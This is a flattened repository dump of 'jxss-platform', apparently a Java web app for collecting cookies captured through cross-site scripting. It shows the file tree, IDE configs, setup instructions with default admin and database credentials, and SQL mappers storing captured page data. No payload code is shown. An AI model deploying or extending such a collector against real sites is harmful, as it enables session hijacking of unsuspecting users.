├── .classpath ├── .mymetadata ├── .project ├── .settings ├── .jsdtscope ├── com.genuitec.eclipse.core.prefs ├── com.genuitec.eclipse.j2eedt.core.xml ├── org.eclipse.core.resources.prefs ├── org.eclipse.jdt.core.prefs ├── org.eclipse.wst.common.component ├── org.eclipse.wst.common.project.facet.core.xml ├── org.eclipse.wst.jsdt.ui.superType.container └── org.eclipse.wst.jsdt.ui.superType.name ├── README.md ├── WebRoot ├── META-INF │ └── MANIFEST.MF ├── WEB-INF │ ├── classes │ │ ├── config │ │ │ ├── db.properties │ │ │ ├── spring-mvc.xml │ │ │ ├── spring-mybatis.xml │ │ │ └── sqlMapConfig.xml │ │ └── org │ │ │ └── blue │ │ │ └── xss │ │ │ ├── bean │ │ │ ├── Admin.class │ │ │ ├── AdminMapper.xml │ │ │ ├── Content.class │ │ │ ├── ContentMapper.xml │ │ │ ├── Invite.class │ │ │ ├── InviteMapper.xml │ │ │ ├── Project.class │ │ │ ├── ProjectMapper.xml │ │ │ ├── User.class │ │ │ └── UserMapper.xml │ │ │ ├── controller │ │ │ ├── AdminController.class │ │ │ ├── ApiController.class │ │ │ ├── IndexController.class │ │ │ ├── ProjectController.class │ │ │ └── UserController.class │ │ │ ├── dao │ │ │ ├── AdminDao.class │ │ │ ├── AdminDaoImpl.class │ │ │ ├── ApiDao.class │ │ │ ├── ApiDaoImpl.class │ │ │ ├── ProjectDao.class │ │ │ ├── ProjectDaoImpl.class │ │ │ ├── UserDao.class │ │ │ └── UserDaoImpl.class │ │ │ ├── service │ │ │ ├── AdminService.class │ │ │ ├── AdminServiceImpl.class │ │ │ ├── ApiService.class │ │ │ ├── ApiServiceImpl.class │ │ │ ├── ProjectService.class │ │ │ ├── ProjectServiceImpl.class │ │ │ ├── UserService.class │ │ │ └── UserServiceImpl.class │ │ │ └── util │ │ │ ├── AdminLoginCheckIntercepor.class │ │ │ ├── EncodingFilter.class │ │ │ ├── LoginCheckIntercepor.class │ │ │ ├── Utils.class │ │ │ └── XssAndSqli.class │ ├── lib │ │ ├── aopalliance-1.0.jar │ │ ├── aspectjweaver-1.6.8.jar │ │ ├── com.springsource.org.apache.commons.logging-1.1.1.jar │ │ ├── com.springsource.org.apache.commons.pool-1.5.3.jar │ │ ├── commons-dbcp.jar │ │ ├── commons-fileupload-1.3.1.jar │ │ ├── commons-io-2.4.jar │ │ ├── jackson-annotations-2.2.0.jar │ │ ├── jackson-core-2.2.0.jar │ │ ├── jackson-databind-2.2.0.jar │ │ ├── mybatis-3.2.3.jar │ │ ├── mybatis-spring-1.1.1.jar │ │ ├── mysql-connector-java-5.1.9.jar │ │ ├── spring-aop-3.2.4.RELEASE.jar │ │ ├── spring-aspects-3.2.4.RELEASE.jar │ │ ├── spring-beans-3.2.4.RELEASE.jar │ │ ├── spring-build-src-3.2.4.RELEASE.jar │ │ ├── spring-context-3.2.4.RELEASE.jar │ │ ├── spring-context-support-3.2.4.RELEASE.jar │ │ ├── spring-core-3.2.4.RELEASE.jar │ │ ├── spring-expression-3.2.4.RELEASE.jar │ │ ├── spring-instrument-3.2.4.RELEASE.jar │ │ ├── spring-instrument-tomcat-3.2.4.RELEASE.jar │ │ ├── spring-jdbc-3.2.4.RELEASE.jar │ │ ├── spring-jms-3.2.4.RELEASE.jar │ │ ├── spring-orm-3.2.4.RELEASE.jar │ │ ├── spring-oxm-3.2.4.RELEASE.jar │ │ ├── spring-test-3.2.4.RELEASE.jar │ │ ├── spring-tx-3.2.4.RELEASE.jar │ │ ├── spring-web-3.2.4.RELEASE.jar │ │ ├── spring-webmvc-3.2.4.RELEASE.jar │ │ └── spring-webmvc-portlet-3.2.4.RELEASE.jar │ ├── view │ │ ├── adminlogin.jsp │ │ ├── content.jsp │ │ ├── content_body.jsp │ │ ├── head.jsp │ │ ├── header.jsp │ │ ├── invite.jsp │ │ ├── invite_body.jsp │ │ ├── login.jsp │ │ ├── menu.jsp │ │ ├── project.jsp │ │ ├── project_body.jsp │ │ ├── projectadd.jsp │ │ ├── projectadd_body.jsp │ │ └── register.jsp │ └── web.xml └── assets │ ├── css │ ├── admin.css │ ├── amazeui.min.css │ └── app.css │ ├── fonts │ ├── FontAwesome.otf │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── fontawesome-webfont.woff2 │ ├── i │ ├── app-icon72x72@2x.png │ ├── examples │ │ ├── admin-chrome.png │ │ ├── admin-firefox.png │ │ ├── admin-ie.png │ │ ├── admin-opera.png │ │ ├── admin-safari.png │ │ ├── adminPage.png │ │ ├── blogPage.png │ │ ├── landing.png │ │ ├── landingPage.png │ │ ├── loginPage.png │ │ └── sidebarPage.png │ ├── favicon.png │ └── startup-640x1096.png │ ├── img │ ├── 32.jpg │ ├── 43.jpg │ ├── a1.png │ ├── a10.png │ ├── a2.png │ ├── a3.png │ ├── a4.png │ ├── a5.png │ ├── a6.png │ ├── a7.png │ ├── a8.png │ ├── a9.png │ ├── lbbg.png │ ├── logo.png │ ├── syncfusion-icons-white.png │ ├── user01.png │ ├── user02.png │ ├── user03.png │ ├── user04.png │ ├── user05.png │ ├── user06.png │ └── user07.png │ └── js │ ├── amazeui.min.js │ ├── app.js │ ├── echarts.min.js │ ├── iscroll.js │ └── jquery.min.js ├── src ├── config │ ├── db.properties │ ├── spring-mvc.xml │ ├── spring-mybatis.xml │ └── sqlMapConfig.xml └── org │ └── blue │ └── xss │ ├── bean │ ├── Admin.java │ ├── AdminMapper.xml │ ├── Content.java │ ├── ContentMapper.xml │ ├── Invite.java │ ├── InviteMapper.xml │ ├── Project.java │ ├── ProjectMapper.xml │ ├── User.java │ └── UserMapper.xml │ ├── controller │ ├── AdminController.java │ ├── ApiController.java │ ├── IndexController.java │ ├── ProjectController.java │ └── UserController.java │ ├── dao │ ├── AdminDao.java │ ├── AdminDaoImpl.java │ ├── ApiDao.java │ ├── ApiDaoImpl.java │ ├── ProjectDao.java │ ├── ProjectDaoImpl.java │ ├── UserDao.java │ └── UserDaoImpl.java │ ├── service │ ├── AdminService.java │ ├── AdminServiceImpl.java │ ├── ApiService.java │ ├── ApiServiceImpl.java │ ├── ProjectService.java │ ├── ProjectServiceImpl.java │ ├── UserService.java │ └── UserServiceImpl.java │ └── util │ ├── AdminLoginCheckIntercepor.java │ ├── EncodingFilter.java │ ├── LoginCheckIntercepor.java │ ├── Utils.java │ └── XssAndSqli.java └── xss.sql /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.mymetadata: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | XSSPlatform_v1 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.wst.common.project.facet.core.builder 10 | 11 | 12 | 13 | 14 | org.eclipse.wst.jsdt.core.javascriptValidator 15 | 16 | 17 | 18 | 19 | com.genuitec.eclipse.j2eedt.core.WebClasspathBuilder 20 | 21 | 22 | 23 | 24 | org.eclipse.jdt.core.javabuilder 25 | 26 | 27 | 28 | 29 | com.genuitec.eclipse.j2eedt.core.J2EEProjectValidator 30 | 31 | 32 | 33 | 34 | com.genuitec.eclipse.j2eedt.core.DeploymentDescriptorValidator 35 | 36 | 37 | 38 | 39 | org.eclipse.wst.validation.validationbuilder 40 | 41 | 42 | 43 | 44 | com.genuitec.eclipse.ast.deploy.core.DeploymentBuilder 45 | 46 | 47 | 48 | 49 | 50 | com.genuitec.eclipse.ast.deploy.core.deploymentnature 51 | org.eclipse.jem.workbench.JavaEMFNature 52 | com.genuitec.eclipse.j2eedt.core.webnature 53 | org.eclipse.jdt.core.javanature 54 | org.eclipse.wst.jsdt.core.jsNature 55 | org.eclipse.wst.common.project.facet.core.nature 56 | org.eclipse.wst.common.modulecore.ModuleCoreNature 57 | 58 | 59 | -------------------------------------------------------------------------------- /.settings/.jsdtscope: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.settings/com.genuitec.eclipse.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | validator.Checked=src/config/spring-mvc.xml 3 | validator.Unchecked= 4 | -------------------------------------------------------------------------------- /.settings/com.genuitec.eclipse.j2eedt.core.xml: -------------------------------------------------------------------------------- 1 | #MyEclipse-specific project configuration 2 | #Wed Jun 21 16:24:27 CST 2017 3 | myeclipse.enhanced=true 4 | -------------------------------------------------------------------------------- /.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding//WebRoot/WEB-INF/view/adminlogin.jsp=UTF-8 3 | encoding//WebRoot/WEB-INF/view/content.jsp=UTF-8 4 | encoding//WebRoot/WEB-INF/view/content_body.jsp=UTF-8 5 | encoding//WebRoot/WEB-INF/view/header.jsp=UTF-8 6 | encoding//WebRoot/WEB-INF/view/invite.jsp=UTF-8 7 | encoding//WebRoot/WEB-INF/view/invite_body.jsp=UTF-8 8 | encoding//WebRoot/WEB-INF/view/login.jsp=UTF-8 9 | encoding//WebRoot/WEB-INF/view/menu.jsp=UTF-8 10 | encoding//WebRoot/WEB-INF/view/project.jsp=UTF-8 11 | encoding//WebRoot/WEB-INF/view/project_body.jsp=UTF-8 12 | encoding//WebRoot/WEB-INF/view/projectadd_body.jsp=UTF-8 13 | encoding//WebRoot/WEB-INF/view/register.jsp=UTF-8 14 | encoding//WebRoot/assets/js/echarts.min.js=UTF-8 15 | encoding//src/org/blue/xss/controller/ApiController.java=UTF-8 16 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 4 | org.eclipse.jdt.core.compiler.compliance=1.5 5 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 6 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 7 | org.eclipse.jdt.core.compiler.source=1.5 8 | -------------------------------------------------------------------------------- /.settings/org.eclipse.wst.common.component: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.settings/org.eclipse.wst.common.project.facet.core.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.settings/org.eclipse.wst.jsdt.ui.superType.container: -------------------------------------------------------------------------------- 1 | org.eclipse.wst.jsdt.launching.baseBrowserLibrary -------------------------------------------------------------------------------- /.settings/org.eclipse.wst.jsdt.ui.superType.name: -------------------------------------------------------------------------------- 1 | Window -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # jxss-platform 2 | java版xss平台 3 | 4 | 5 | 简介 6 | ------ 7 | 该项目由Spring + SpringMVC + Mybatis 框架开发
8 | 用于XSS漏洞测试,目前版本仅有简单的获取cookie功能。
9 | 10 | 搭建方式 11 | ------ 12 | 下载后可以直接导入myeclipse或放在apache tomcat内。
13 | 修改config/db.properties内的数据库配置信息,再将xss.sql导入mysql数据库
14 | 启动tomcat并访问项目路径
15 | http://host/Admin/Login.x
16 | 为后台登陆地址,默认账号密码:admin 123456,位于`xss_admin`表。
17 | 至此搭建成功。
18 | 19 | -------------------------------------------------------------------------------- /WebRoot/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Class-Path: 3 | 4 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/config/db.properties: -------------------------------------------------------------------------------- 1 | jdbc.driver=com.mysql.jdbc.Driver 2 | jdbc.url=jdbc:mysql://127.0.0.1:3306/xss?useUnicode=true&characterEncoding=UTF-8 3 | jdbc.username=root 4 | jdbc.password=root -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/config/spring-mvc.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/config/spring-mybatis.xml: -------------------------------------------------------------------------------- 1 | 2 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 20 | 21 | 22 | 23 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 48 | 49 | 50 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/config/sqlMapConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/Admin.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/bean/Admin.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/AdminMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/Content.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/bean/Content.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/ContentMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 14 | 15 | delete from xss_content where pid = #{pid} and cid = #{cid}; 16 | 17 | 20 | 21 | 22 | insert into xss_content values( 23 | 0,#{pid},#{location},#{domain},#{content},now() 24 | ); 25 | 26 | 27 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/Invite.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/bean/Invite.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/InviteMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 10 | 11 | update xss_invite set isuse = '1' where invitecode = #{code}; 12 | 13 | 14 | insert into xss_invite values( 15 | 0, 16 | MD5(RAND()*NOW()), 17 | NOW(), 18 | 0 19 | ); 20 | 21 | 24 | 25 | 28 | 29 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/Project.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/bean/Project.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/ProjectMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 9 | 10 | 13 | 14 | 15 | insert into xss_project(`pid`,`pname`,`pdescription`,`createdate`,`uid`) 16 | values(0,#{pname},#{pdescription},now(),#{uid}); 17 | 18 | 19 | 20 | delete from xss_project where uid = #{uid} and pid = #{pid}; 21 | 22 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/User.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/bean/User.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/bean/UserMapper.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 10 | 13 | 14 | insert into xss_user values( 15 | 0, 16 | #{email}, 17 | #{username}, 18 | #{password} 19 | ); 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/controller/AdminController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/controller/AdminController.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/controller/ApiController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/controller/ApiController.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/controller/IndexController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/controller/IndexController.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/controller/ProjectController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/controller/ProjectController.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/controller/UserController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/controller/UserController.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/AdminDao.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/AdminDao.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/AdminDaoImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/AdminDaoImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/ApiDao.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/ApiDao.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/ApiDaoImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/ApiDaoImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/ProjectDao.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/ProjectDao.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/ProjectDaoImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/ProjectDaoImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/UserDao.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/UserDao.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/dao/UserDaoImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/dao/UserDaoImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/AdminService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/AdminService.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/AdminServiceImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/AdminServiceImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/ApiService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/ApiService.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/ApiServiceImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/ApiServiceImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/ProjectService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/ProjectService.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/ProjectServiceImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/ProjectServiceImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/UserService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/UserService.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/service/UserServiceImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/service/UserServiceImpl.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/util/AdminLoginCheckIntercepor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/util/AdminLoginCheckIntercepor.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/util/EncodingFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/util/EncodingFilter.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/util/LoginCheckIntercepor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/util/LoginCheckIntercepor.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/util/Utils.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/util/Utils.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/classes/org/blue/xss/util/XssAndSqli.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/classes/org/blue/xss/util/XssAndSqli.class -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/aopalliance-1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/aopalliance-1.0.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/aspectjweaver-1.6.8.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/aspectjweaver-1.6.8.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/com.springsource.org.apache.commons.logging-1.1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/com.springsource.org.apache.commons.logging-1.1.1.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/com.springsource.org.apache.commons.pool-1.5.3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/com.springsource.org.apache.commons.pool-1.5.3.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/commons-dbcp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/commons-dbcp.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/commons-fileupload-1.3.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/commons-fileupload-1.3.1.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/commons-io-2.4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/commons-io-2.4.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/jackson-annotations-2.2.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/jackson-annotations-2.2.0.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/jackson-core-2.2.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/jackson-core-2.2.0.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/jackson-databind-2.2.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/jackson-databind-2.2.0.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/mybatis-3.2.3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/mybatis-3.2.3.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/mybatis-spring-1.1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/mybatis-spring-1.1.1.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/mysql-connector-java-5.1.9.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/mysql-connector-java-5.1.9.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-aop-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-aop-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-aspects-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-aspects-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-beans-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-beans-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-build-src-3.2.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/jxss-platform/1853515cda4b9e42f85645c6919608153bb8b2bb/WebRoot/WEB-INF/lib/spring-build-src-3.2.4.RELEASE.jar -------------------------------------------------------------------------------- /WebRoot/WEB-INF/lib/spring-context-3.2.4.RELEASE.jar: 